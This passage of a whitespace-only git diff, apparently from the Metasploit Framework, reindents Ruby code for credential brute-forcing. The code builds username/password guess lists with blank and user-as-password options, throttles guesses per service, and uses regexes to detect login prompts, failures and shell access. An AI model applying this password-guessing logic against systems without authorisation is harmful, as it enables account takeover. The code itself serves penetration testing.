"Connection error, skipping '#{u}':'#{p}'") - end + when :connection_error # Report an error, skip this cred, but don't neccisarily abort. + print_brute( + :level => :verror, + :ip => datastore['RHOST'], + :port => datastore['RPORT'], + :msg => "Connection error, skipping '#{u}':'#{p}'") + end - @@guesses_per_service[this_service] ||= 1 - @@credentials_tried[fq_user] = p - if counters_expired? this_service,credentials - break - else - @@guesses_per_service[this_service] += 1 - end + @@guesses_per_service[this_service] ||= 1 + @@credentials_tried[fq_user] = p + if counters_expired? this_service,credentials + break + else + @@guesses_per_service[this_service] += 1 + end - end - end + end + end - def counters_expired?(this_service,credentials) - expired_cred = false - expired_time = false - # Workaround for cases where multiple auth_brute modules are running concurrently and - # someone stomps on the @max_per_service class variable during setup. - current_max_per_service = self.class.class_variable_get("@@max_per_service") rescue nil - return false unless current_max_per_service - if @@guesses_per_service[this_service] >= (@@max_per_service) - if @@max_per_service < credentials.size - print_brute( - :level => :vstatus, - :ip => datastore['RHOST'], - :port => datastore['RPORT'], - :msg => "Hit maximum guesses for this service (#{@@max_per_service}).") - expired_cred = true - end - end - seconds_to_run = datastore['MaxMinutesPerService'].to_i.abs * 60 - if seconds_to_run > 0 - if Time.now.utc.to_i > @@brute_start_time.to_i + seconds_to_run - print_brute( - :level => :vstatus, - :ip => datastore['RHOST'], - :port => datastore['RPORT'], - :msg => "Hit timeout for this service at #{seconds_to_run / 60}m.") - expired_time = true - end - end - expired_cred || expired_time - end + def counters_expired?(this_service,credentials) + expired_cred = false + expired_time = false + # Workaround for cases where multiple auth_brute modules are running concurrently and + # someone stomps on the @max_per_service class variable during setup. + current_max_per_service = self.class.class_variable_get("@@max_per_service") rescue nil + return false unless current_max_per_service + if @@guesses_per_service[this_service] >= (@@max_per_service) + if @@max_per_service < credentials.size + print_brute( + :level => :vstatus, + :ip => datastore['RHOST'], + :port => datastore['RPORT'], + :msg => "Hit maximum guesses for this service (#{@@max_per_service}).") + expired_cred = true + end + end + seconds_to_run = datastore['MaxMinutesPerService'].to_i.abs * 60 + if seconds_to_run > 0 + if Time.now.utc.to_i > @@brute_start_time.to_i + seconds_to_run + print_brute( + :level => :vstatus, + :ip => datastore['RHOST'], + :port => datastore['RPORT'], + :msg => "Hit timeout for this service at #{seconds_to_run / 60}m.") + expired_time = true + end + end + expired_cred || expired_time + end - # If the user passed a memory location for credential gen, assume - # that that's precisely what's desired -- no other transforms or - # additions or uniqueness should be done. Otherwise, perform - # the usual alterations. - def build_credentials_array - credentials = extract_word_pair(datastore['USERPASS_FILE']) - translate_proto_datastores() - return credentials if datastore['USERPASS_FILE'] =~ /^memory:/ - users = load_user_vars(credentials) - passwords = load_password_vars(credentials) - cleanup_files() - if datastore['USER_AS_PASS'] - credentials = gen_user_as_password(users, credentials) - end - if datastore['BLANK_PASSWORDS'] - credentials = gen_blank_passwords(users, credentials) - end - if framework.db.active - if datastore['DB_ALL_CREDS'] - myworkspace.creds.each do |o| - credentials << [o.user, o.pass] if o.ptype =~ /password/ - end - end - if datastore['DB_ALL_USERS'] - myworkspace.creds.each do |o| - users << o.user - end - end - if datastore['DB_ALL_PASS'] - myworkspace.creds.each do |o| - passwords << o.pass if o.ptype =~ /password/ - end - end - end - credentials.concat(combine_users_and_passwords(users, passwords)) - credentials.uniq! - credentials = just_uniq_users(credentials) if @strip_passwords - credentials = just_uniq_passwords(credentials) if @strip_usernames - return credentials - end + # If the user passed a memory location for credential gen, assume + # that that's precisely what's desired -- no other transforms or + # additions or uniqueness should be done. Otherwise, perform + # the usual alterations. + def build_credentials_array + credentials = extract_word_pair(datastore['USERPASS_FILE']) + translate_proto_datastores() + return credentials if datastore['USERPASS_FILE'] =~ /^memory:/ + users = load_user_vars(credentials) + passwords = load_password_vars(credentials) + cleanup_files() + if datastore['USER_AS_PASS'] + credentials = gen_user_as_password(users, credentials) + end + if datastore['BLANK_PASSWORDS'] + credentials = gen_blank_passwords(users, credentials) + end + if framework.db.active + if datastore['DB_ALL_CREDS'] + myworkspace.creds.each do |o| + credentials << [o.user, o.pass] if o.ptype =~ /password/ + end + end + if datastore['DB_ALL_USERS'] + myworkspace.creds.each do |o| + users << o.user + end + end + if datastore['DB_ALL_PASS'] + myworkspace.creds.each do |o| + passwords << o.pass if o.ptype =~ /password/ + end + end + end + credentials.concat(combine_users_and_passwords(users, passwords)) + credentials.uniq! + credentials = just_uniq_users(credentials) if @strip_passwords + credentials = just_uniq_passwords(credentials) if @strip_usernames + return credentials + end - # Class variables to track credential use. They need - # to be class variables due to threading. - def initialize_class_variables(this_service,credentials) - @@guesses_per_service ||= {} - @@guesses_per_service[this_service] = nil - @@credentials_skipped = {} - @@credentials_tried = {} - @@guesses_per_service = {} + # Class variables to track credential use. They need + # to be class variables due to threading. + def initialize_class_variables(this_service,credentials) + @@guesses_per_service ||= {} + @@guesses_per_service[this_service] = nil + @@credentials_skipped = {} + @@credentials_tried = {} + @@guesses_per_service = {} - if datastore['MaxGuessesPerService'].to_i.abs == 0 - @@max_per_service = credentials.size - else - if datastore['MaxGuessesPerService'].to_i.abs >= credentials.size - @@max_per_service = credentials.size - print_brute( - :level => :vstatus, - :ip => datastore['RHOST'], - :port => datastore['RPORT'], - :msg => "Adjusting MaxGuessesPerService to the actual total number of credentials") - else - @@max_per_service = datastore['MaxGuessesPerService'].to_i.abs - end - end - unless datastore['MaxMinutesPerService'].to_i.abs == 0 - @@brute_start_time = Time.now.utc - end - end + if datastore['MaxGuessesPerService'].to_i.abs == 0 + @@max_per_service = credentials.size + else + if datastore['MaxGuessesPerService'].to_i.abs >= credentials.size + @@max_per_service = credentials.size + print_brute( + :level => :vstatus, + :ip => datastore['RHOST'], + :port => datastore['RPORT'], + :msg => "Adjusting MaxGuessesPerService to the actual total number of credentials") + else + @@max_per_service = datastore['MaxGuessesPerService'].to_i.abs + end + end + unless datastore['MaxMinutesPerService'].to_i.abs == 0 + @@brute_start_time = Time.now.utc + end + end - def load_user_vars(credentials = nil) - users = extract_words(datastore['USER_FILE']) - if datastore['USERNAME'] - users.unshift datastore['USERNAME'] - credentials = prepend_chosen_username(datastore['USERNAME'], credentials) if credentials - end - users - end + def load_user_vars(credentials = nil) + users = extract_words(datastore['USER_FILE']) + if datastore['USERNAME'] + users.unshift datastore['USERNAME'] + credentials = prepend_chosen_username(datastore['USERNAME'], credentials) if credentials + end + users + end - def load_password_vars(credentials = nil) - passwords = extract_words(datastore['PASS_FILE']) - if datastore['PASSWORD'] - passwords.unshift datastore['PASSWORD'] - credentials = prepend_chosen_password(datastore['PASSWORD'], credentials) if credentials - end - passwords - end + def load_password_vars(credentials = nil) + passwords = extract_words(datastore['PASS_FILE']) + if datastore['PASSWORD'] + passwords.unshift datastore['PASSWORD'] + credentials = prepend_chosen_password(datastore['PASSWORD'], credentials) if credentials + end + passwords + end - # Takes protocol-specific username and password fields, and, - # if present, prefer those over any given USERNAME or PASSWORD. - # Note, these special username/passwords should get deprecated - # some day. Note2: Don't use with SMB and FTP at the same time! - def translate_proto_datastores - switched = false - ['SMBUser','FTPUSER'].each do |u| - if datastore[u] and !datastore[u].empty? - datastore['USERNAME'] = datastore[u] - end - end - ['SMBPass','FTPPASS'].each do |p| - if datastore[p] and !datastore[p].empty? - datastore['PASSWORD'] = datastore[p] - end - end - end + # Takes protocol-specific username and password fields, and, + # if present, prefer those over any given USERNAME or PASSWORD. + # Note, these special username/passwords should get deprecated + # some day. Note2: Don't use with SMB and FTP at the same time! + def translate_proto_datastores + switched = false + ['SMBUser','FTPUSER'].each do |u| + if datastore[u] and !datastore[u].empty? + datastore['USERNAME'] = datastore[u] + end + end + ['SMBPass','FTPPASS'].each do |p| + if datastore[p] and !datastore[p].empty? + datastore['PASSWORD'] = datastore[p] + end + end + end - def just_uniq_users(credentials) - credentials.map {|x| [x[0],""]}.uniq - end + def just_uniq_users(credentials) + credentials.map {|x| [x[0],""]}.uniq + end - def just_uniq_passwords(credentials) - credentials.map{|x| ["",x[1]]}.uniq - end + def just_uniq_passwords(credentials) + credentials.map{|x| ["",x[1]]}.uniq + end - def prepend_chosen_username(user,cred_array) - cred_array.map {|pair| [user,pair[1]]} + cred_array - end + def prepend_chosen_username(user,cred_array) + cred_array.map {|pair| [user,pair[1]]} + cred_array + end - def prepend_chosen_password(pass,cred_array) - cred_array.map {|pair| [pair[0],pass]} + cred_array - end + def prepend_chosen_password(pass,cred_array) + cred_array.map {|pair| [pair[0],pass]} + cred_array + end - def gen_blank_passwords(user_array,cred_array) - blank_passwords = [] - unless user_array.empty? - blank_passwords.concat(user_array.map {|u| [u,""]}) - end - unless cred_array.empty? - cred_array.each {|u,p| blank_passwords << [u,""]} - end - return(blank_passwords + cred_array) - end + def gen_blank_passwords(user_array,cred_array) + blank_passwords = [] + unless user_array.empty? + blank_passwords.concat(user_array.map {|u| [u,""]}) + end + unless cred_array.empty? + cred_array.each {|u,p| blank_passwords << [u,""]} + end + return(blank_passwords + cred_array) + end - def gen_user_as_password(user_array,cred_array) - user_as_passwords = [] - unless user_array.empty? - user_as_passwords.concat(user_array.map {|u| [u,u]}) - end - unless cred_array.empty? - cred_array.each {|u,p| user_as_passwords << [u,u]} - end - return(user_as_passwords + cred_array) - end + def gen_user_as_password(user_array,cred_array) + user_as_passwords = [] + unless user_array.empty? + user_as_passwords.concat(user_array.map {|u| [u,u]}) + end + unless cred_array.empty? + cred_array.each {|u,p| user_as_passwords << [u,u]} + end + return(user_as_passwords + cred_array) + end - def combine_users_and_passwords(user_array,pass_array) - if (user_array.length + pass_array.length) < 1 - return [] - end - combined_array = [] - if pass_array.empty? - combined_array = user_array.map {|u| [u,""] } - elsif user_array.empty? - combined_array = pass_array.map {|p| ["",p] } - else - user_array.each do |u| - pass_array.each do |p| - combined_array << [u,p] - end - end - end + def combine_users_and_passwords(user_array,pass_array) + if (user_array.length + pass_array.length) < 1 + return [] + end + combined_array = [] + if pass_array.empty? + combined_array = user_array.map {|u| [u,""] } + elsif user_array.empty? + combined_array = pass_array.map {|p| ["",p] } + else + user_array.each do |u| + pass_array.each do |p| + combined_array << [u,p] + end + end + end - creds = [ [], [], [], [] ] # userpass, pass, user, rest - # Move datastore['USERNAME'] and datastore['PASSWORD'] to the front of the list. - # Note that we cannot tell the user intention if USERNAME or PASSWORD is blank -- - # maybe (and it's often) they wanted a blank. One more credential won't kill - # anyone, and hey, won't they be lucky if blank user/blank pass actually works! - combined_array.each do |pair| - if pair == [datastore['USERNAME'],datastore['PASSWORD']] - creds[0] << pair - elsif pair[1] == datastore['PASSWORD'] - creds[1] << pair - elsif pair[0] == datastore['USERNAME'] - creds[2] << pair - else - creds[3] << pair - end - end - return creds[0] + creds[1] + creds[2] + creds[3] - end + creds = [ [], [], [], [] ] # userpass, pass, user, rest + # Move datastore['USERNAME'] and datastore['PASSWORD'] to the front of the list. + # Note that we cannot tell the user intention if USERNAME or PASSWORD is blank -- + # maybe (and it's often) they wanted a blank. One more credential won't kill + # anyone, and hey, won't they be lucky if blank user/blank pass actually works! + combined_array.each do |pair| + if pair == [datastore['USERNAME'],datastore['PASSWORD']] + creds[0] << pair + elsif pair[1] == datastore['PASSWORD'] + creds[1] << pair + elsif pair[0] == datastore['USERNAME'] + creds[2] << pair + else + creds[3] << pair + end + end + return creds[0] + creds[1] + creds[2] + creds[3] + end - def extract_words(wordfile) - return [] unless wordfile && File.readable?(wordfile) - begin - words = File.open(wordfile) {|f| f.read(f.stat.size)} - rescue - return - end - save_array = words.split(/\r?\n/) - return save_array - end + def extract_words(wordfile) + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile) {|f| f.read(f.stat.size)} + rescue + return + end + save_array = words.split(/\r?\n/) + return save_array + end - def get_object_from_memory_location(memloc) - if memloc.to_s =~ /^memory:\s*([0-9]+)/ - id = $1 - ObjectSpace._id2ref(id.to_s.to_i) - end - end + def get_object_from_memory_location(memloc) + if memloc.to_s =~ /^memory:\s*([0-9]+)/ + id = $1 + ObjectSpace._id2ref(id.to_s.to_i) + end + end - def extract_word_pair(wordfile) - creds = [] - if wordfile.to_s =~ /^memory:/ - return extract_word_pair_from_memory(wordfile.to_s) - else - return [] unless wordfile && File.readable?(wordfile) - begin - upfile_contents = File.open(wordfile) {|f| f.read(f.stat.size)} - rescue - return [] - end - upfile_contents.split(/\n/).each do |line| - user,pass = line.split(/\s+/,2).map { |x| x.strip } - creds << [user.to_s, pass.to_s] - end - return creds - end - end + def extract_word_pair(wordfile) + creds = [] + if wordfile.to_s =~ /^memory:/ + return extract_word_pair_from_memory(wordfile.to_s) + else + return [] unless wordfile && File.readable?(wordfile) + begin + upfile_contents = File.open(wordfile) {|f| f.read(f.stat.size)} + rescue + return [] + end + upfile_contents.split(/\n/).each do |line| + user,pass = line.split(/\s+/,2).map { |x| x.strip } + creds << [user.to_s, pass.to_s] + end + return creds + end + end - def extract_word_pair_from_memory(memloc) - begin - creds = [] - obj = get_object_from_memory_location(memloc) - unless obj.all_creds.empty? - these_creds = obj.all_creds - else - these_creds = obj.builders.select {|x| x.respond_to? :imported_users}.map {|b| b.imported_users}.flatten - end - these_creds.each do |cred| - if @strip_passwords - user = cred.split(/\s+/,2).map {|x| x.strip}[0] - pass = "" - elsif @strip_usernames - user = "" - pass = cred.split(/\s+/,2).map {|x| x.strip}[1] - else - user,pass = cred.split(/\s+/,2).map {|x| x.strip} - end - creds << [Rex::Text.dehex(user.to_s), Rex::Text.dehex(pass.to_s)] - end - if @strip_passwords || @strip_usernames - return creds.uniq - else - return creds - end - rescue => e - raise ArgumentError, "Could not read credentials from memory, raised: #{e.class}: #{e.message}" - end - end + def extract_word_pair_from_memory(memloc) + begin + creds = [] + obj = get_object_from_memory_location(memloc) + unless obj.all_creds.empty? + these_creds = obj.all_creds + else + these_creds = obj.builders.select {|x| x.respond_to? :imported_users}.map {|b| b.imported_users}.flatten + end + these_creds.each do |cred| + if @strip_passwords + user = cred.split(/\s+/,2).map {|x| x.strip}[0] + pass = "" + elsif @strip_usernames + user = "" + pass = cred.split(/\s+/,2).map {|x| x.strip}[1] + else + user,pass = cred.split(/\s+/,2).map {|x| x.strip} + end + creds << [Rex::Text.dehex(user.to_s), Rex::Text.dehex(pass.to_s)] + end + if @strip_passwords || @strip_usernames + return creds.uniq + else + return creds + end + rescue => e + raise ArgumentError, "Could not read credentials from memory, raised: #{e.class}: #{e.message}" + end + end - def userpass_sleep_interval - sleep_time = case datastore['BRUTEFORCE_SPEED'].to_i - when 0; 60 * 5 - when 1; 15 - when 2; 1 - when 3; 0.5 - when 4; 0.1 - else; 0 - end - ::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0 - end + def userpass_sleep_interval + sleep_time = case datastore['BRUTEFORCE_SPEED'].to_i + when 0; 60 * 5 + when 1; 15 + when 2; 1 + when 3; 0.5 + when 4; 0.1 + else; 0 + end + ::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0 + end - # Provides a consistant way to display messages about AuthBrute-mixed modules. - # Acceptable opts are fairly self-explanitory, but :level can be tricky. - # - # It can be one of status, good, error, or line (and corresponds to the usual - # print_status, print_good, etc. methods). - # - # If it's preceded by a "v" (ie, vgood, verror, etc), only print if - # datastore["VERBOSE"] is set to true. - # - # If :level would make the method nonsense, default to print_status. - # - # TODO: This needs to be simpler to be useful. - def print_brute(opts={}) - if opts[:level] and opts[:level].to_s[/^v/] - return unless datastore["VERBOSE"] - level = opts[:level].to_s[1,16].strip - else - level = opts[:level].to_s.strip - end + # Provides a consistant way to display messages about AuthBrute-mixed modules. + # Acceptable opts are fairly self-explanitory, but :level can be tricky. + # + # It can be one of status, good, error, or line (and corresponds to the usual + # print_status, print_good, etc. methods). + # + # If it's preceded by a "v" (ie, vgood, verror, etc), only print if + # datastore["VERBOSE"] is set to true. + # + # If :level would make the method nonsense, default to print_status. + # + # TODO: This needs to be simpler to be useful. + def print_brute(opts={}) + if opts[:level] and opts[:level].to_s[/^v/] + return unless datastore["VERBOSE"] + level = opts[:level].to_s[1,16].strip + else + level = opts[:level].to_s.strip + end - host_ip = opts[:ip] || opts[:rhost] || opts[:host] || (rhost rescue nil) || datastore['RHOST'] - host_port = opts[:port] || opts[:rport] || (rport rescue nil) || datastore['RPORT'] - msg = opts[:msg] || opts[:message] || opts[:legacy_msg] - proto = opts[:proto] || opts[:protocol] || proto_from_fullname + host_ip = opts[:ip] || opts[:rhost] || opts[:host] || (rhost rescue nil) || datastore['RHOST'] + host_port = opts[:port] || opts[:rport] || (rport rescue nil) || datastore['RPORT'] + msg = opts[:msg] || opts[:message] || opts[:legacy_msg] + proto = opts[:proto] || opts[:protocol] || proto_from_fullname - complete_message = build_brute_message(host_ip,host_port,proto,msg,!!opts[:legacy_msg]) + complete_message = build_brute_message(host_ip,host_port,proto,msg,!!opts[:legacy_msg]) - print_method = "print_#{level}" - if self.respond_to? print_method - self.send print_method, complete_message - else - print_status complete_message - end - end + print_method = "print_#{level}" + if self.respond_to? print_method + self.send print_method, complete_message + else + print_status complete_message + end + end - # Depending on the non-nil elements, build up a standardized - # auth_brute message, but support the old style used by - # vprint_status and friends as well. - def build_brute_message(host_ip,host_port,proto,msg,legacy) - ip = host_ip.to_s.strip if host_ip - port = host_port.to_s.strip if host_port - complete_message = nil - extracted_message = nil - if legacy # TODO: This is all a workaround until I get a chance to get rid of the legacy messages - old_msg = msg.to_s.strip - msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/ni - if old_msg.match(msg_regex) and !old_msg.match(msg_regex)[6].to_s.strip.empty? - complete_message = [ip,port].join(":") - (complete_message << " ") if ip - complete_message << (old_msg.match(msg_regex)[4] || proto).to_s - complete_message << " - " - progress = tried_over_total(ip,port) - complete_message << progress if progress - complete_message << old_msg.match(msg_regex)[6].to_s.strip - else - complete_message = msg.to_s.strip - end - else - complete_message = [ip,port].join(":") - (complete_message << " ") if ip - complete_message << "#{proto.to_s.strip} - " if proto - progress = tried_over_total(ip,port) - complete_message << progress if progress - complete_message << msg.to_s.strip - end - end + # Depending on the non-nil elements, build up a standardized + # auth_brute message, but support the old style used by + # vprint_status and friends as well. + def build_brute_message(host_ip,host_port,proto,msg,legacy) + ip = host_ip.to_s.strip if host_ip + port = host_port.to_s.strip if host_port + complete_message = nil + extracted_message = nil + if legacy # TODO: This is all a workaround until I get a chance to get rid of the legacy messages + old_msg = msg.to_s.strip + msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/ni + if old_msg.match(msg_regex) and !old_msg.match(msg_regex)[6].to_s.strip.empty? + complete_message = [ip,port].join(":") + (complete_message << " ") if ip + complete_message << (old_msg.match(msg_regex)[4] || proto).to_s + complete_message << " - " + progress = tried_over_total(ip,port) + complete_message << progress if progress + complete_message << old_msg.match(msg_regex)[6].to_s.strip + else + complete_message = msg.to_s.strip + end + else + complete_message = [ip,port].join(":") + (complete_message << " ") if ip + complete_message << "#{proto.to_s.strip} - " if proto + progress = tried_over_total(ip,port) + complete_message << progress if progress + complete_message << msg.to_s.strip + end + end - # Takes a credentials array, and returns just the first X involving - # a particular user. - def adjust_credentials_by_max_user(credentials) - max = datastore['MaxGuessesPerUser'].to_i.abs - if max == 0 - new_credentials = credentials - else - print_brute( - :level => :vstatus, - :msg => "Adjusting credentials by MaxGuessesPerUser (#{max})" - ) - user_count = {} - new_credentials = [] - credentials.each do |u,p| - user_count[u] ||= 0 - user_count[u] += 1 - next if user_count[u] > max - new_credentials << [u,p] - end - end - return new_credentials - end + # Takes a credentials array, and returns just the first X involving + # a particular user. + def adjust_credentials_by_max_user(credentials) + max = datastore['MaxGuessesPerUser'].to_i.abs + if max == 0 + new_credentials = credentials + else + print_brute( + :level => :vstatus, + :msg => "Adjusting credentials by MaxGuessesPerUser (#{max})" + ) + user_count = {} + new_credentials = [] + credentials.each do |u,p| + user_count[u] ||= 0 + user_count[u] += 1 + next if user_count[u] > max + new_credentials << [u,p] + end + end + return new_credentials + end - # Fun trick: Only prints if we're already in each_user_pass, since - # only then is @@max_per_service defined. - def tried_over_total(ip,port) - total = self.class.class_variable_get("@@max_per_service") rescue nil - return unless total - total = total.to_i - current_try = (@@guesses_per_service["#{ip}:#{port}"] || 1).to_i - pad = total.to_s.size - "[%0#{pad}d/%0#{pad}d] - " % [current_try, total] - end + # Fun trick: Only prints if we're already in each_user_pass, since + # only then is @@max_per_service defined. + def tried_over_total(ip,port) + total = self.class.class_variable_get("@@max_per_service") rescue nil + return unless total + total = total.to_i + current_try = (@@guesses_per_service["#{ip}:#{port}"] || 1).to_i + pad = total.to_s.size + "[%0#{pad}d/%0#{pad}d] - " % [current_try, total] + end - # Protocols can nearly always be automatically determined from the - # name of the module, assuming the name is sensible like ssh_login or - # smb_auth. - def proto_from_fullname - File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil - end + # Protocols can nearly always be automatically determined from the + # name of the module, assuming the name is sensible like ssh_login or + # smb_auth. + def proto_from_fullname + File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil + end - # Legacy vprint - def vprint_status(msg='') - print_brute :level => :vstatus, :legacy_msg => msg - end + # Legacy vprint + def vprint_status(msg='') + print_brute :level => :vstatus, :legacy_msg => msg + end - # Legacy vprint - def vprint_error(msg='') - print_brute :level => :verror, :legacy_msg => msg - end + # Legacy vprint + def vprint_error(msg='') + print_brute :level => :verror, :legacy_msg => msg + end - # Legacy vprint - def vprint_good(msg='') - print_brute :level => :vgood, :legacy_msg => msg - end + # Legacy vprint + def vprint_good(msg='') + print_brute :level => :vgood, :legacy_msg => msg + end - # This method deletes the dictionary files if requested - def cleanup_files - path = datastore['USERPASS_FILE'] - if path and datastore['REMOVE_USERPASS_FILE'] - ::File.unlink(path) rescue nil - end + # This method deletes the dictionary files if requested + def cleanup_files + path = datastore['USERPASS_FILE'] + if path and datastore['REMOVE_USERPASS_FILE'] + ::File.unlink(path) rescue nil + end - path = datastore['USER_FILE'] - if path and datastore['REMOVE_USER_FILE'] - ::File.unlink(path) rescue nil - end + path = datastore['USER_FILE'] + if path and datastore['REMOVE_USER_FILE'] + ::File.unlink(path) rescue nil + end - path = datastore['PASS_FILE'] - if path and datastore['REMOVE_PASS_FILE'] - ::File.unlink(path) rescue nil - end - end + path = datastore['PASS_FILE'] + if path and datastore['REMOVE_PASS_FILE'] + ::File.unlink(path) rescue nil + end + end end end diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 1224c49e8d..a20642ab91 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -10,234 +10,234 @@ module Msf ### module Auxiliary::Login - NULL = "\000" - CR = "\r" - LF = "\n" - EOL = CR + LF + NULL = "\000" + CR = "\r" + LF = "\n" + EOL = CR + LF - # - # Creates an instance of a login negoation module. - # - def initialize(info = {}) - super + # + # Creates an instance of a login negoation module. + # + def initialize(info = {}) + super - # Appended to by each read and gets reset after each send. Doing it - # this way lets us deal with partial reads in the middle of expect - # strings, e.g., the first recv returns "Pa" and the second returns - # "ssword: " - @recvd = '' - @trace = '' + # Appended to by each read and gets reset after each send. Doing it + # this way lets us deal with partial reads in the middle of expect + # strings, e.g., the first recv returns "Pa" and the second returns + # "ssword: " + @recvd = '' + @trace = '' - # - # Some of these regexes borrowed from NeXpose, others added from datasets - # - @login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i - @password_regex = /(?:password|passwd)\s*\:/i - @false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i - @failure_regex = /(?: - Incorrect | Unknown | Fail | Invalid | - Login | Password | Passwd | Username | - Unable | Error | Denied | Reject | - Refuse | Close | Closing | %\ Bad | - Sorry | - Not\ on\ system\ console | - Enter\ username\ and\ password | - Auto\ Apply\ On | - YOU\ LOGGED\ IN\ USING\ ALL\ UPPERCASE\ CHARACTERS| - \n\*$ | - (Login ?|User ?)(name|): | - ^\s*\<[a-f0-9]+\>\s*$ | - ^\s*220.*FTP| - not\ allowed\ to\ log\ in - )/mix + # + # Some of these regexes borrowed from NeXpose, others added from datasets + # + @login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i + @password_regex = /(?:password|passwd)\s*\:/i + @false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i + @failure_regex = /(?: + Incorrect | Unknown | Fail | Invalid | + Login | Password | Passwd | Username | + Unable | Error | Denied | Reject | + Refuse | Close | Closing | %\ Bad | + Sorry | + Not\ on\ system\ console | + Enter\ username\ and\ password | + Auto\ Apply\ On | + YOU\ LOGGED\ IN\ USING\ ALL\ UPPERCASE\ CHARACTERS| + \n\*$ | + (Login ?|User ?)(name|): | + ^\s*\<[a-f0-9]+\>\s*$ | + ^\s*220.*FTP| + not\ allowed\ to\ log\ in + )/mix - @waiting_regex = /(?: - .*please\ wait.* | - .*one\ minute.* - )/mix + @waiting_regex = /(?: + .*please\ wait.* | + .*one\ minute.* + )/mix - @busy_regex = /(?: - Another\ telnet\ session\ is\ in\ progress | Disconnecting\.\.\. - )/mix + @busy_regex = /(?: + Another\ telnet\ session\ is\ in\ progress | Disconnecting\.\.\. + )/mix - @success_regex = /(?: - list\ of\ built-in | - sh.*[\#\$]\s*$ | - \[\/\]\s*$ | - or\ the\ MENU\ system | - Password\ is\ not\ set | - logging\ in\ as\ visitor | - Login\ successful - )/mix - end + @success_regex = /(?: + list\ of\ built-in | + sh.*[\#\$]\s*$ | + \[\/\]\s*$ | + or\ the\ MENU\ system | + Password\ is\ not\ set | + logging\ in\ as\ visitor | + Login\ successful + )/mix + end - # - # Appends to the @recvd buffer which is used to tell us whether we're at a - # login prompt, a password prompt, or a working shell. - # - def recv(fd=self.sock, timeout=10) + # + # Appends to the @recvd buffer which is used to tell us whether we're at a + # login prompt, a password prompt, or a working shell. + # + def recv(fd=self.sock, timeout=10) - data = '' + data = '' - begin - data = fd.get_once(-1, timeout) - return nil if not data or data.length == 0 + begin + data = fd.get_once(-1, timeout) + return nil if not data or data.length == 0 - # combine EOL into "\n" - data.gsub!(/#{EOL}/no, "\n") + # combine EOL into "\n" + data.gsub!(/#{EOL}/no, "\n") - @trace << data - @recvd << data - fd.flush + @trace << data + @recvd << data + fd.flush - rescue ::EOFError, ::Errno::EPIPE - end + rescue ::EOFError, ::Errno::EPIPE + end - data - end + data + end - def login_prompt? - return true if @recvd =~ @login_regex - return false - end + def login_prompt? + return true if @recvd =~ @login_regex + return false + end - def command_echo?(cmd) - recvn = @recvd.gsub(/^(\s*#{cmd}\r?\n\s*|\s*\*+\s*)/, '') - if(recvn != @recvd) - @recvd = recvn - return true - end - false - end + def command_echo?(cmd) + recvn = @recvd.gsub(/^(\s*#{cmd}\r?\n\s*|\s*\*+\s*)/, '') + if(recvn != @recvd) + @recvd = recvn + return true + end + false + end - def waiting_message? - recvn = @recvd.gsub(@waiting_regex, '') - if(recvn != @recvd) - @recvd = recvn.strip - return true - end - false - end + def waiting_message? + recvn = @recvd.gsub(@waiting_regex, '') + if(recvn != @recvd) + @recvd = recvn.strip + return true + end + false + end - def busy_message? - recvn = @recvd.gsub(@busy_regex, '') - if(recvn != @recvd) - @recvd = recvn.strip - return true - end - false - end + def busy_message? + recvn = @recvd.gsub(@busy_regex, '') + if(recvn != @recvd) + @recvd = recvn.strip + return true + end + false + end - def password_prompt?(username=nil) - return true if(@recvd =~ @password_regex) - if username - return true if( !(username.empty?) and @recvd =~ /#{username}'s/) - end - return false - end + def password_prompt?(username=nil) + return true if(@recvd =~ @password_regex) + if username + return true if( !(username.empty?) and @recvd =~ /#{username}'s/) + end + return false + end - def login_failed? - # Naively, failure means matching the failure regex. - # - # However, this leads to problems with false positives in the case of - # "login:" because unix systems commonly show "Last login: Sat Jan 3 - # 20:22:52" upon successful login, so check against a false-positive - # regex, also. - # + def login_failed? + # Naively, failure means matching the failure regex. + # + # However, this leads to problems with false positives in the case of + # "login:" because unix systems commonly show "Last login: Sat Jan 3 + # 20:22:52" upon successful login, so check against a false-positive + # regex, also. + # - # Empty strings should not count - if @recvd.strip.length == 0 - return true - end + # Empty strings should not count + if @recvd.strip.length == 0 + return true + end - # If we have not seen a newline, this is likely an echo'd prompt - if ! @recvd.index("\n") - return true - end + # If we have not seen a newline, this is likely an echo'd prompt + if ! @recvd.index("\n") + return true + end - # We do have a set of highly-accurate success patterns - if (@recvd =~ @success_regex) - return false - end + # We do have a set of highly-accurate success patterns + if (@recvd =~ @success_regex) + return false + end - if @recvd =~ @failure_regex - if @recvd !~ @false_failure_regex - return true - end - end - return false - end + if @recvd =~ @failure_regex + if @recvd !~ @false_failure_regex + return true + end + end + return false + end - def login_succeeded? - # Much easier to test for failure than success because a few key words - # mean failure whereas all kinds of crap is used for success, much of - # which also shows up in failure messages. - return (not login_failed?) - end + def login_succeeded? + # Much easier to test for failure than success because a few key words + # mean failure whereas all kinds of crap is used for success, much of + # which also shows up in failure messages. + return (not login_failed?) + end - # - # This method logs in as the supplied user by transmitting the username - # - def send_user(user, nsock = self.sock) - got_prompt = wait_for(@login_regex) - if not got_prompt - print_error("#{rhost} - Something is wrong, didn't get a login prompt") - end - return send_recv("#{user}\r\n") - end + # + # This method logs in as the supplied user by transmitting the username + # + def send_user(user, nsock = self.sock) + got_prompt = wait_for(@login_regex) + if not got_prompt + print_error("#{rhost} - Something is wrong, didn't get a login prompt") + end + return send_recv("#{user}\r\n") + end - # - # This method completes user authentication by sending the supplied password - # - def send_pass(pass, nsock = self.sock) - got_prompt = wait_for(@password_regex) - if not got_prompt - print_error("#{rhost} - Something is wrong, didn't get a password prompt") - end - return send_recv("#{pass}\r\n") - 